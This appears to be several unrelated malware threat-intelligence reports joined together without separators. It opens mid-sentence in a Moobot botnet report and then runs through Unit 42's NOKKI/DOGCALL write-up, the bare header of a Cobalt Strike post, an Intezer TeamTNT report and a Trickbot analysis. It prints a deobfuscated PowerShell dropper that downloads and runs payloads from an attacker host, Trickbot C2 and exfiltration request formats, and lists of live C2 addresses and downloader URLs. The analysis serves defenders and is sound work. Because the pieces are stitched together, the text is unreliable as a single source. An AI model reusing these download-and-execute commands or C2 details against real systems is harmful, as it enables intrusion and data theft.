the normal Moobot communication protocol to notify C2 it is alive and can receive the attack command issued by C2. 2. Establish a connection with the proxy, the port is 9050. **The list of hardcoded proxy nodes in the sample**: - 1.26.150.133 - 104.45.52.37 - 107.21.38.230 - 12.11.175.187 - 128.199.45.26 - 13.50.100.110 - 136.243.69.28 - 138.68.107.137 - 158.69.33.149 - 165.22.117.234 - 173.212.249.65 - 185.242.114.206 - 193.29.187.226 - 193.70.77.132 - 20.188.45.175 - 3.8.5.177 - 31.6.69.162 - 35.153.180.187 - 35.158.231.234 - 4.21.119.186 - 45.137.22.80 - 45.14.148.239 - 46.101.216.75 - 5.138.113.101 - 5.252.225.249 - 51.11.247.88 - 51.15.239.174 - 51.75.144.59 - 51.77.148.172 - 62.149.14.80 - 79.130.136.67 - 80.241.212.116 - 82.146.61.193 - 82.230.81.131 - 86.177.24.148 - 89.163.146.187 - 89.217.41.145 - 9.43.47.135 - 9.43.47.39 - 90.93.30.29 - 91.228.218.66 - 92.222.76.104 - 92.29.22.186 - 93.104.211.123 - 94.100.28.172 3. Communicate with C2 through the Moobot protocol, the specific go live, heartbeat, and attack packet are as follows: **Register package**: - msg parsing - 33 66 99 -----> hardcoded magic - 07 -----> group string length - 62 61 6c 6c 6f 6f 6e -----> group string, here it is "balloon" **Heartbeat package**: - msg parsing - c7 15 3a fa -----> random 4 bytes msg from bot - c7 15 3a fa -----> 4 bytes msg from c2 The attack command is similar to Mirai: ``` 00000000: 01 00 00 00 3C 01 C2 0F 92 0C 20 02 01 00 05 32 ....<..... ....2 00000010: 38 30 31 35 02 00 04 31 34 36 30 02 1C 8015...1460.. ``` ## Moobot DDoS campaign Moobot's DDoS attacks are active all year round. Here are the DDoS targets launched by Moobot. We noticed `electrum.hodlister.co` has been attacked from this Moobot nonstop for a few months now. ## Contact us Readers are always welcomed to reach us on Twitter or email us at netlab at 360 dot cn. ## IoC **Tor-C2**: - djq6cvwigo7l7q62.onion:194 - dl3ochoifo77lsak.onion:1553 - krjn77m6demafp77.onion:6969 - mvo4y3vr7xuxhwcf.onion:21 - nhez3ihtwxwthjkm.onion:21 - ol6zbnlduigehodu.onion:1900 - stmptmmm27tco3oh.onion:115 - tto6kqp6nsto5din.onion:17 - uajl7qmdquxaramd.onion:554 - wsvo6jwd3spsb4us.onion:1900 **Sample MD5**: - 22081bc7f49b4aa5c4b36982390cd97 - 05764c4d5ec37575d5fd3efe95cf3458 - 260bda811c00dac88b4f5a35e9939760 - 30416eae1f1922b28d93be8078b25ba0 - 348acf45ccb313f6c5d34ca5f68f5e13 - 3e9ae33e0d5c36f7cd5f576233d83f26 - 4d785886039cbca5372068377f72da43 - 565c0456c7fbb393ec483c648155b119 - 655b56b345799f99b614e23128942b92 - 7735289d33d14644fea27add188093ea - 7988a73a4b5ccb7ca9b98dc633b8c0c6 - b2c66c2831173b1117467fdabc78241e - bb27f755238528fc3c6386287a5c74a7 - bff215a95f088672ad13933a1de70861 - cb428a513275b5e969353596deb7383d - cf3602498c49caa902d87579fd420098 - e24dc070a4d90a7b01389de9f2805b2b - fe0488ec71ee04ddb47792cae199595b **Downloader URLs**: - http://104.244.78.131/boot - http://104.244.78.131/fre - http://107.189.10.28/boot - http://107.189.10.28/fre - http://141.164.63.40/boot - http://141.164.63.40/fre - http://172.104.105.205/boot - http://185.216.140.70/fre - http://185.216.140.70/t - http://185.39.11.84/fre - http://89.248.174.166/t - http://92.223.73.55/fre - http://ape.run/dtf/b - http://ape.run/fre - http://c.uglykr.xyz/fre - http://kreb.xyz/fre - http://osrq.xyz/dtf/b - http://osrq.xyz/fre **Scanner IP**: - 176.126.175.10 AS47540|EURODC-AS Romania|Romania|Unknown - 176.126.175.8 AS47540|EURODC-AS Romania|Romania|Unknown - 185.107.80.202 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen - 185.107.80.203 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen - 185.107.80.34 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen - 185.107.80.62 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen - 185.39.11.84 AS62355|Network_Dedicated_SAS Netherlands|North_Holland|Wormer - 212.224.124.178 AS44066|First_Colo_GmbH Germany|Hesse|Frankfurt - 89.248.174.165 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer - 89.248.174.166 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer - 89.248.174.203 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer - 92.223.73.136 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown - 92.223.73.54 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown - 92.223.73.55 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown - 92.223.73.72 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
# NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT **By Josh Grunzweig** **October 1, 2018** **Category: Unit 42** **Tags: DogCall, NOKKI, RAT, Reaper** Recently, Unit 42 identified the NOKKI malware family that was used in attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. As part of this research, an interesting tie was discovered to the threat actor group known as Reaper. The Reaper group has been publicly attributed to North Korea by other security organizations, targeting organizations that align with the interests of this country. Such targeted organizations include the military and defense industry within South Korea, as well as a Middle Eastern organization that was doing business with North Korea. Part of this group’s modus operandi includes the use of a custom malware family called DOGCALL. DOGCALL is a remote access Trojan (RAT) that uses third-party hosting services to upload data and accept commands. At the time of publication, we observe this particular malware family in use by the Reaper threat actor group only. This blog details the relationship found between the NOKKI and DOGCALL malware families, as well provides additional information about a previously unreported malware family used to deploy DOGCALL, which we have named Final1stspy based on a pdb string in the malware. ## Tying the Knot While researching the NOKKI malware threat, Unit 42 discovered the most recent cluster of attacks beginning in July 2018 leveraged malicious macros within a Microsoft Word document. These particular macros were not overly complex in nature, and simply would attempt to perform the following actions: 1. Download and run an executable malware payload. 2. Download and open a Microsoft Word decoy document. To avoid detection, the macros employ simple obfuscation of interesting strings that ultimately just used base64 encoding. However, it used a somewhat unusual method where it would first convert the base64-encoded text into hex, and then convert that hex into a text string. By searching on this unique deobfuscation technique present in all samples delivering NOKKI, a single other file was identified. This file had the following properties: - **MD5**: e02024f38dfb6290ce0d693539a285a9 - **SHA1**: d13fc918433c705b49db74c91f56ae6c0cb5cf8d - **SHA256**: 66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51 - **Creator**: Windows User - **Created Date**: 2018-03-19 07:58:00 UTC - **Last Modified Date**: 2018-06-16 14:19:00 UTC - **Original Filename**: World Cup predictions.doc Based on the original filename, we can surmise this malware sample targeted individuals interested in the World Cup hosted in Russia in 2018. As we can see, the unique deobfuscation routine used between the samples is identical, including the comments included by the author. While the deobfuscation routine was identical, the actual functionality of the macro differed slightly. The NOKKI dropper samples downloaded both a payload and a decoy document, but this World Cup predictions malware sample downloads and executes a remote VBScript file wrapped in HTML and appends text to the original Word document to provide the lure for the victim. The lure in question includes the below text from a publicly available article written on ESPN in the UK: “Peru and Denmark face off in the third match, and this time it doesn't seem as one sided. Four people go for a Peru victory, three for Denmark and three for the draw. Last but not least, we get to see Croatia and Nigeria for the first time. Our Nigeria expert, Colin, reckons there will be plenty of goals and a 3-2 win for his side -- the only person to back the Super Eagles. Check out how our pundits got on with their predictions for following games and remember to join the pundits' league in Match Predictor. We've got our top talent on hand from England, the United States, Mexico, Brazil, Argentina, Colombia, Australia, and Africa -- many of whom will be based out in Russia for the tournament -- to analyze each and every one of the 64 matches. We'll score our experts just as we do in the Match Predictor -- 10 points for correct result, with a bonus 20 points for getting the score line right too.” Interestingly enough, two commented out lures were also included in this document. One simply contains the phrase of “I miss u.”, but the second lure contains text from a publicly available article online discussing a visit by the North Korean leader to Singapore. “When the chain of execution completes on the World Cup predictions.doc file, a DOGCALL malware sample is executed on the victim machine.” ## Continuing Execution of the Malware After the initial execution of World Cup predictions.doc is run, it proceeds to download a VBScript file from the following URL: `http://kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html` This VBScript file yet again contains the exact same unique deobfuscation routine that was previously discussed. When this second stage VBScript file executes, it begins by writing the following data to `%APPDATA%\Microsoft\mib.dat`. This file will later be used by the Final1stspy malware family. `1111:rom*E8FEF0CDF6C1EBBA90794B2B` After this file is written, it will execute the following (deobfuscated): ``` objShell.Run "cmd.exe /k powershell.exe" & " " & "-windowstyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1.org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & " http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & " (" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start- Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0 ``` This executed code simply downloads two files from `http://kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpg` and `http://kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg` and stores them in `%APPDATA%/Microsoft/Windows/msvcrt32.dll` and `%APPDATA%/Microsoft/ieConv.exe`, respectively. Finally, the VBScript file will execute the previously downloaded ieConv.exe file in a new process. These two files are instances of a previously unreported dropper malware family that we are calling Final1stspy. ## Overview of Final1stspy As previously stated, the Final1stspy malware family is split between an executable file and a DLL. These files have the following properties: - **MD5**: 0f1d3ed85fee2acc23a8a26e0dc12e0f - **SHA1**: 3d161de48d3f4da0aefff685253404c8b0111563 - **SHA256**: fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a - **File Type**: PE32 executable (GUI) Intel 80386, for MS Windows - **Filename**: wwwtest.jpg - **Compile Timestamp**: 2018-06-01 15:52:41 UTC - **MD5**: a2fe5dcb08ae8b72e8bc98ddc0b918e7 - **SHA1**: 741dbdb20d1beeb8ff809291996c8b78585cb812 - **SHA256**: 0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a - **File Type**: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **Filename**: happy.jpg - **Compile Timestamp**: 2018-06-17 17:04:15 UTC As we can see, both samples were compiled within a couple weeks of each other. Additionally, the original Microsoft Word document used to deliver this malware was last modified roughly a day before the DLL was compiled. Both the executable and DLL make use of a specific routine to obfuscate strings of importance. The following code, written in Python, decodes these strings: ```python import base64 data = "[Obfuscated String]" dataDecoded = b64decode(data) outVar = "" for char in dataDecoded: outVar += chr(((ord(char) + 122) ^ 0x19) & 0xff) print(outVar) ``` The Final1stspy malware begins by looking for the presence of the following file: `%APPDATA%\Microsoft\Windows\msvcrt64.dll` Should this file be present, the malware will load the DLLs and attempt to call the exported main_func function. Otherwise, the malware will look for the following file: `%APPDATA%\Microsoft\Windows\msvcrt32.dll` In the event this file is present, the malware will decrypt this file by XORing it against 0x50, write it to the previously mentioned msvcrt64.dll path, and load the main_func function. This DLL uses the same string obfuscation routine witnessed in the executable. It begins by collecting basic system information and ensuring persistence by setting the following registry key to point to `%APPDATA%/Microsoft/ieConv.exe`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32` The Final1stspy malware family continues to read and parse the previously written mib.dat file. The data is parsed to eventually be used in subsequent HTTP GET requests, representing the Index, Account, and Group variables. - **Original String**: 1111:rom*E8FEF0CDF6C1EBBA90794B2B - **Index**: 1111 - **Account**: E8FEF0CDF6C1EBBA90794B2B - **Group**: Rom Final1stspy has the ability to read in a `%APPDATA%/Microsoft/olevnc.ini` file that has several variables stored within it, such as the user-agent, URL, port, and interval counts. In the event this file is not present, such as in our given situation, the malware will default to a hardcoded user-agent and URL. This particular sample communicates with `http://kmbr1.nitesbr1[.]org/UserFiles/File/image/index.php` with a user-agent of Host Process Update. The malware proceeds to make a HTTP GET request to the URL, such as the following example: The following GET parameters are present in this request: - **Variable**: MachineId - **Data**: MD5 generated from data obtained from machine victim - **Variable**: InfoSo - **Data**: Microsoft Windows version information and CPU architecture - **Variable**: Index - **Data**: Data obtained from mib.dat - **Variable**: Account - **Data**: Data obtained from mib.dat - **Variable**: Group - **Data**: Data obtained from mib.dat - **Variable**: List - **Data**: List of running processes (base64-encoded) The malware expects to receive a payload that will subsequently be decrypted using a single-byte XOR key of 0x49. This payload will be loaded on the victim machine. After decryption, the following payload was identified: - **MD5**: 05d43d417a8f50e7b23246643fc7e03d - **SHA1**: 67c05b3937d94136eda4a60a2d5fb685abc776a1 - **SHA256**: 3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f - **File Type**: PE32 executable (GUI) Intel 80386, for MS Windows - **Filename**: girl.jpg - **Compile Timestamp**: 2018-05-26 10:46:59 UTC As we can see by the compile timestamp above, this file appears to have been compiled close to the Final1stspy executable. This payload has been identified as belonging to the DOGCALL malware family. It is able to perform the following actions on the victim: - Take screenshots - Keylogging - Capture microphone data - Collect victim information - Collect files of interest - Download and execute additional payloads The malware uploads the stolen data to third-party cloud storage providers. The sample identified in the wild is configured to upload to pCloud, but functionality to upload to Dropbox, Box, and Yandex Cloud is also included. ## Conclusion What originally began as research surrounding a new malware family named NOKKI that had code overlap and other ties to KONNI led us to an interesting discovery tying the NOKKI malware family to the Reaper threat actor group. There are some curious aspects to this relationship, such as commented out North Korean-related lure information and DOGCALL malware payload. Additionally, we discovered yet another malware family that has not been previously publicly reported that we have named Final1stspy. Unit 42 will continue to monitor this threat and report on any updates encountered in the future. Palo Alto Networks customers are protected against this threat in the following ways: - All malware encountered is appropriately classified as malicious by WildFire - TRAPs blocks this threat - AutoFocus customers may track this threat via the KONNI, NOKKI, Final1stspy, DOGCALL, and Reaper ## Indicators of Compromise **World Cup predictions Sample** `66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51` **Final1stspy Samples** `0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a` `fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a` **DOGCALL Samples** `3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f` **Infrastructure** `kmbr1.nitesbr1[.]org`
# Cobalt Strike Hunting — DLL Hijacking/Attack Analysis **Michael Koczwara** December 30, 2021 ## DLL Hijacking via Cobalt Strike & Attack Analysis ### Agenda - Hijack Execution Flow: DLL Search Order Hijacking - Payload extraction from the PCAP (VT, Triage, and CyberChef Analysis) - Attack Analysis - DLL Hijacking via Cobalt Strike/Sysrep
# TeamTNT: Cryptomining Explosion Research Report ## Zusammenfassung (Executive Summary) Over the past year, the TeamTNT threat actor has been very active. TeamTNT is one of the predominant cryptojacking threat actors currently targeting Linux servers. This report investigates the threat actor’s activity and their Tactics, Techniques, and Procedures (TTPs)—providing all of this information in one document so security teams can better detect and prevent attacks from TeamTNT. Based on our findings, we can conclude that they have been active since the Fall of 2019, six months before the first public report on the threat actor’s activity. As of this writing, TeamTNT is mainly focused on compromising Kubernetes clusters. Prior to this, they used to target servers running Docker and Redis. We at Intezer also uncovered Windows binaries hosted on a TeamTNT server that was potentially an experiment to target Windows machines. Much of the threat actor’s tooling has stayed consistent throughout their different campaigns. The majority of their tools are based on shell scripts but they also use some “tried and tested” compiled binaries in the attack chains. For example, the use of the Tsunami malware, first documented by Trend Micro, has been a staple of TeamTNT’s campaigns since October 2019. In addition to cryptojacking, a second objective for the threat actor has been to exfiltrate information about compromised hosts. As early as the Winter of 2020, Intezer saw the threat actor utilizing novel techniques to steal SSH credentials from the compromised machine when it was being used by administrators. TeamTNT has employed techniques to hide their activities on compromised machines, making incident response investigations more difficult. All of their scripts are designed to be executed without being written to disk or self-deleted after execution. They have used techniques of hiding their running processes by mounting an empty folder over the process entry within the procfs, or by using UserLand and kernel-level rootkits. The threat actor maintains a public persona on Twitter using the handle HildeTNT. The majority of their tweets are written in German and the account's location is set to Germany. In addition, many comments in the shell scripts used by the threat actor are written in German. Therefore, it can be assumed that TeamTNT’s country of origin is Germany. Much of their interaction with the security industry is via commenting on reports covering their campaigns, mostly to point out incorrect conclusions. During the Spring of 2021, TeamTNT refuted some campaigns attributed to them. The tools used in these campaigns were based on some of TeamTNT’s older scripts but not something they currently were using. This suggests another threat actor has started to copy TeamTNT. ## Der Anfang (The Beginning) The first public report on TeamTNT’s activity was published by Trend Micro in May 2020. While this report covers some of the early activities, it does not include the initial activity that can be traced back to the threat actor. One of the network indicators of compromise in this report is the domain name teamtnt[.]red. This domain was registered on February 10, 2020, and is one of the first references to TeamTNT by the threat actor. This infrastructure was used by the threat actor against attacks on unprotected Redis servers. The initial “setup” script used in this campaign was uploaded to VirusTotal on February 26, 2020. The setup script downloads the rest of the modules used in the attack. Many of them are shell scripts that are directly piped to either bash or /bin/sh but some files were also written to disk. The infection on the machine started with the execution of the setup shell script that was located in a subfolder called load. This script is responsible for downloading and executing the other parts of the toolchain used by TeamTNT. The file has a comment on the top indicating it was the module scan/pwn Redis Server Setup. To prevent other threat actors from also compromising the Redis instance, the setup script added iptables rules to only accept connections on port 6379 from localhost. The shell script also performs a request to the C2 server that appears to be for logging the infected machine's IP address. During this campaign, the threat actor focused on compromising unprotected Redis servers. The setup script creates the payload that is executed on the Redis servers. The setup script checks if Tsunami and bioset are running. If they are, the script restarts the processes to hide them with the hid shell script. If they are not running, it downloads them followed by starting and hiding them. To find other Redis servers to infect, the threat actor uses pnscan. The setup script downloads the source code for the scanner and compiles it. ## Cryptomining The tmp.min.sh shell script’s main job is to set up the mining process. It downloads the miner, a watchdog process, and the configuration file. The installation process depends on if the shell scripts have root permissions or not. If they do, a second stage is downloaded and executed to perform the root setup. Otherwise, the scripts download and install the files into the temp directory. The configuration is modified to be unique for each infected host. A worker ID is created based on the username of the user executing the script and the machine name. The miner used is a fork of XMRig called XMRigCC. The watchdogd binary is a simple application written in C++. Its sole purpose is to ensure that the miner is running. It does this by using a loop to call libc’s system function. The script downloads a 64-bit or 32-bit miner depending on what is supported. The mining configuration is modified to include a unique identifier for the infected host. In addition to setting up the mining process, the script also starts another script that scans for Redis servers, downloads and executes a post-exploitation tool called punk.py, and exfiltrates SSH keys, bash history, known SSH hosts, and the host file. ## Removing All Traces The cyo.sh script is run by the mining setup script if the watchdog process is already running. The script is used to clean out the logs on the machine. First, it hides the process and downloads a log cleaner written in C. The logs for the users are cleared before it uploads the bash history of the root user to the threat actor’s server. Using information that was present in this campaign, we were able to find some earlier activity. The rathole binary used in this campaign was uploaded to VirusTotal as early as October 2019. ## Das Fazit (Conclusion) Illicit cryptomining has become the major threat to Linux servers and cloud environments. TeamTNT has also used different techniques for hiding their processes on the machine, including userland rootkits. Some of the scripts also include lists of other known cryptominers that the threat actor tries to kill on the machine. This is a common technique employed by many other threat actors in this field which essentially turns the compromised machine into a game of “King of the Hill.” What separates TeamTNT from other major threat actors in the cryptojacking field is their public presence on the clear web. They maintain a public appearance on Twitter and frequently tweet. Based on the public persona, it can be assumed that they are based in Germany. The threat actor commonly interacts with German politicians, tweets about their ongoing campaigns, and comments on reports by the security industry. The majority of these comments are to take credit for their work. Since they are competing with other cryptojacking-focused threat actors, TeamTNT employs different techniques to ensure that only their cryptominer is running. In early campaigns, we have seen them “plug the hole” used to compromise the machine, for example, by adding firewall rules to block external network connections to access the vulnerable machine. It remains to be seen if this will affect their activity and if they will continue to target Kubernetes clusters or if they will move on and target new cloud infrastructure.
# Malware Analysis: Trickbot In this day and age, we are not dealing with roughly pieced together, homebrew type of viruses anymore. Malware is an industry, and professional developers are found to exchange, be it by stealing one's code or deliberate collaboration. Attacks are multi-layer these days, with diverse sophisticated software apps taking over different jobs along the attack-chain from initial compromise to ultimate data exfiltration or encryption. The specific tools for each stage are highly specialized and can often be rented as a service, including customer support and subscription models for professional (ab)use. Obviously, this has largely increased both the availability and the potential effectiveness and impact of malware. Sound scary? Well, it does, but the apparent professionalization actually does have some good sides too. One factor is that certain reused modules commonly found in malware can be used to identify, track, and analyze professional attack software. Ultimately this means that, with enough experience, skilled analysts can detect and stop malware in its tracks, often with minimal or no damage (if the attackers make it through the first defense lines at all). Let's see this mechanic in action as we follow an actual CyberSOC analyst investigating the case of the malware dubbed "Trickbot." ## Origins of Trickbot Orange Cyberdefense's CyberSOCs have been tracking the specific malware named Trickbot for quite some time. It is commonly attributed to a specific Threat Actor generally known under the name of Wizard Spider (Crowdstrike), UNC1778 (FireEye) or Gold Blackburn (Secureworks). Trickbot is a popular and modular Trojan initially used in targeting the banking industry, that has meanwhile been used to compromise companies from other industries as well. It delivers several types of payloads. Trickbot evolved progressively to be used as Malware-as-a-Service (MaaS) by different attack groups. The threat actor behind it is known to act quickly, using the well-known post-exploitation tool Cobalt Strike to move laterally on the company network infrastructure and deploy ransomware like Ryuk or Conti as a final stage. As it is used for initial access, being able to detect this threat as quickly as possible is a key element of success for preventing further attacks. This threat analysis will be focused on the threat actor named TA551, and its use of Trickbot as an example. I will present how we are able to perform detection at the different steps of the kill chain, starting from the initial infection through malspam campaigns, moving on to the detection of tools used by the threat actor during compromise. We will also provide some additional information about how the threat actor is using this malware and the evolution it took. ### 1 — Initial access Since June 2021, the group TA551 started delivering the Trickbot malware using an encrypted zip. The email pretext mimics an important information to reduce the vigilance of the user. The attachment includes a .zip file which again includes a document. The zip file always uses the same name as "request.zip" or "info.zip", and the same name for the document file. **NB:** The Threat Actor used the same modus operandi before/in parallel to Trickbot to deliver other malware. We observed during the same period, from June 2021 to September 2021, the use of Bazarloader on the initial access payload. ### 2 — Execution When the user opens the document with macros enabled, an HTA file will be dropped on the system and launched using cmd.exe. The HTA file is used to download the Trickbot DLL from a remote server. This behavior is related to TA551, we can identify it with the pattern "/bdfh/" in the GET request. ``` GET /bdfh/M8v[..]VUb HTTP/1.1 Accept: */* Host: wilkinstransportss.com Content-Type: application/octet-stream ``` **NB:** Patterns related to TA551 evolved with time, since mid-August 2021, the pattern changed to "/bmdff/". The DLL is registered as a jpg file to hide the real extension, and it tries to be run via regsvr32.exe. Then, Trickbot will be injected into "wermgr.exe" using Process Hollowing techniques. ### 3 — Collection After the successful initial system compromise, Trickbot can collect a lot of information about its target using legitimate Windows executables and identify if the system is a member of an Active Directory domain. Additionally, to this collection, Trickbot will scan more information like Windows build, the public IP address, the user that is running Trickbot, and also if the system is behind an NAT firewall. Trickbot is also able to collect sensitive information like banking data or credentials, and exfiltrate it to a dedicated command and control server (C2). ### 4 — Command & Control When the system is infected, it can contact several kinds of Trickbot C2. The main C2 is the one with which the victim system will communicate, mainly to get new instructions. All requests to a Trickbot C2 use the following format: ``` /<gtag>/<Client_ID>/<command>/<additional information about the command>/ ``` ``` GET /zev4/56dLzNyzsmBH06b_W10010240.42DF9F315753F31B13F17F5E731B7787/0/Windows 10 x64/1108/XX.XX.XX.XX/38245433F0E3D5689F6EE84483106F4382CC92EAFAD5120 6571D97A519A2EF29/0bqjxzSOQUSLPRJMQSWKDHTHKEG/ HTTP/1.1 Connection: Keep-Alive User-Agent: curl/7.74.0 Host: 202.165.47.106 ``` All data collected is sent to a separate Exfiltration Trickbot C2 using HTTP POST request methods. The request format keeps the same, but the command "90" is specific to data exfiltration, more precisely system data collected off the infected system. ``` POST /zev4/56dLzNyzsmBH06b_W10010240.42DF9F315753F31B13F17F5E731B7787/90/ HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=------Boundary0F79C562 User-Agent: Ghost Host: 24.242.237.172:443 ``` ### Follow-up attacks: Cobalt Strike, Ryuk, Conti Cobalt Strike is a commercial, fully-featured, remote access tool that calls itself an "adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors". Cobalt Strike's interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. In our context, Trickbot uses the hijacked wermgr.exe process to load a Cobalt Strike beacon into memory. Several ransomware operators are affiliated to the threat actors as well. The aim of Trickbot is to perform the initial access preceding the actual ransomware attack. Conti and Ryuk are the main ransomwares observed on the final stage of Trickbot infections, though by far not the only ones. Conti is a group that operates a Ransomware-as-a-Service model and is available to several affiliate threat actors. Ryuk, on the other hand, is a ransomware that is linked directly to the threat actor behind Trickbot. ## Key learnings Threat actors often still use basic techniques to get into the network like phishing emails. Raising awareness about phishing is definitely a great first step in building up cyber resilience. The best attacks are, after all, the ones that never even get started. Of course, there is no such thing as bullet-proof preventive protection in cyber. It's all the more important to have the capability of detecting Trickbot at an early stage. Though the attack chain can be broken at every stage along the way: the later it is, the higher the risk of full compromise and the resulting damage. Trickbot is used by different threat actors, but the detection approach stays the same on most of its specific stages. Some of the indicators of compromise are explained here. But malware gets updates too. Analysts have to stay vigilant. Tracking and watching a specific malware or a threat actor is key to follow its evolution, improvement, and keep up to date about an efficient detection of the threat.